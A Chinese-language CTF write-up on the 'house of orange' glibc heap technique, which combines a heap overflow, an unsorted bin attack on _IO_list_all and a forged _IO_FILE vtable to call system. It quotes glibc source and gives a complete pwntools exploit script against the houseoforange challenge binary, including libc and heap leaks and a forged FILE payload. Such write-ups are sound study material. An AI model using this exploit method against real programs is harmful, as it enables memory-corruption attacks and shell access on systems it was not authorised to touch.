今天学习了下house_of_orange,总算是把house_of_orange给搞懂了house_of_orange原理其实很简单,就是利用unsorted bin attack 和_IO_FILE利用的结合
这里涉及到的知识点有点多,是堆利用和IO_FILE利用的结合,所以要对两者都有一定的了解
直接拿house_of_orange这道经典的题来说吧
防护机制:
基本程序逻辑:一共有三个功能
- build 创建一个house 输入housename的长度、内容、price、color的一些信息,并且它的将house更新为最新分配的house,所以我们只能对刚分配的house进行操作
- upgrade 更新house的内容,这里读取name时存在堆溢出漏洞
- see 打印出house的信息 ,这里可以将地址leak出来
大致思路:
通过堆溢出,修改top chunk的大小,然后分配一个大小大于top chunk大小的chunk,所以 旧top chunk就会被free掉,进入unsorted bin中,然后再分配一个大小在large bin 的大小范围内的chunk,那么这个chunk就会包含libc的地址和它本身的地址,通过两次upgrade和see将libc地址和heap地址都泄露出来。之后通过堆溢出修改old top chunk的size字段为0x60,利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58,同时old top chunk会被链入small bin中,如果再分配一个chunk,就会触发malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow函数,具体的下面会展开
- 首先这个题没有free功能,所以要想办法可以生成一个unsorted bins的chunk,这里是通过堆溢出,修改top chunk的大小,使它变小,这里要注意top chunk的size是有一些检查的,然后分配一个大小超出top chunk大小的chunk,这时根据申请的大小,会通过sysmalloc 来分配,如果申请的大小小于mmap的阀值的话,就会扩展top chunk,将old top chunk free掉,如果大于的话,就会通过mmap申请一块新的堆块。
sysmalloc源码:
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))/*这里进行判断,判断分配的大小是否大于mmap分配的阀值,如果大于就是用mmap从新分配一个堆块,否则就会扩展top chunk*/
{
char *mm; /* return value from mmap call*/
try_mmap:
.........
..........
if (old_size != 0)
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE);
set_head (chunk_at_offset (old_top, old_size),
(2 * SIZE_SZ) | PREV_INUSE);
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ),
(2 * SIZE_SZ) | PREV_INUSE);
/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);/*将old top chunk free掉,加入unsorted bin*/
}
}
...........省略了挺多的 具体可以自己去看源码
-
能产生unsorted bin 之后,就要想着怎么泄露出libc地址了,libc地址很好泄露,但是heap的地址也要泄露出来,用于后面伪造_IO_FILE_plus结构体。这里的做法是,通过申请一个large bin大小的chunk,那么它的fd_nextsize和bk_nextsize中会存放自身的地址,通过这就可以泄露出堆地址
具体做法是,是使用upgrade功能,将name依次更新为‘aaaaaaaa'及’a'*16 然后通过see功能就可以将地址打印出来
build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak -1640- 0x3c4b20
print "libc base address -->[%s]"%hex(libc_base)
upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
leak_heap = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)
_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
-
利用unsoted bin attack将 _IO_list_all 修改为 main_arena+88 这个很容易就实现,之后再分配一个chunk时会触发malloc_printerr
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0)) malloc_printerr ("malloc(): memory corruption");
-
触发malloc_printerr后会调用一系列函数,最终调用 _IO_overflow函数
函数大致调用链 mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW 而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数 #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
_IO_flush_all_lockp源码:
_IO_flush_all_lockp (int do_lock) { int result = 0; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/ || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))/*也可以绕过这个*/ ) && _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/ result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0); #endif return result; }
所以这里通过将_IO_list_all修改为main_arena+0x58,这时IO_list_all中的 *chain指针位于 _IO_list_all + 0x68的位置,也就是 main_arena + 0x58 + 0x68-->small bin中大小为0x60的位置,所以之前将old top chunk的size修改为0x60,old top chunk就会链入small bin中,这时就可以将伪造的fake_file链入IO_all_list中,将fake_file的vtable指向伪造的IO_jump_t结构的地址,在伪造的 IO_jump_t 结构体中,在overflow函数处写入system函数,则最终会调用system函数
伪造的file结构体要通过的条件
1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 或者是 2. _IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
一般来说上面比较好伪造,我下面的exp也是伪造的上面的
如果伪造下面的话还要关注一下_wide_data结构体,这里就略过了
查看是否为伪造成功
此时的vtable已经指向伪造的函数表了
exp:
from pwn import*
context.log_level = 'debug'
p = process('./houseoforange')
elf = ELF('./houseoforange')
libc = elf.libc
def menu(idx):
p.recvuntil(': ')
p.sendline(str(idx))
def see():
menu(2)
def build(length, nm, pz, color):
menu(1)
p.recvuntil(":")
p.sendline(str(length))
p.recvuntil(":")
p.send(nm)
p.recvuntil(":")
p.sendline(str(pz))
p.recvuntil(":")
p.sendline(str(color))
def upgrade(length, nm, pz, color):
menu(3)
p.recvuntil(":")
p.sendline(str(length))
p.recvuntil(":")
p.send(nm)
p.recvuntil(":")
p.sendline(str(pz))
p.recvuntil(":")
p.sendline(str(color))
build(0x30,'a'*8,123,1)
#gdb.attach(p)
payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf80)
upgrade(len(payload),payload,123,2)
build(0x1000,'b',123,1)
log.info('-----------------------leak address-------------------------')
build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak -1640- 0x3c4b20
print "libc base address -->[%s]"%hex(libc_base)
upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
leak_heap = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)
_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
log.info('-------------------------unsorted bin and build fake file--------------------------')
payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
fake_file = '/bin/sh\x00' + p64(0x60)
#这里写入binsh字符串是因为最后调用vtable中的函数时会将IO_FILE的指针作为参数
fake_file += p64(0) + p64(_IO_list_all - 0x10)#unsorted bin attack
fake_file += p64(0) + p64(1) #bypass check
fake_file = fake_file.ljust(0xc0,'\x00')
payload += fake_file
payload += p64(0)*3
payload += p64(heap_base + 0x5e8)#vtable
payload += p64(0)*2
payload += p64(system)
upgrade(0x800,payload,123,1)
p.recv()
p.sendline('1')
p.interactive()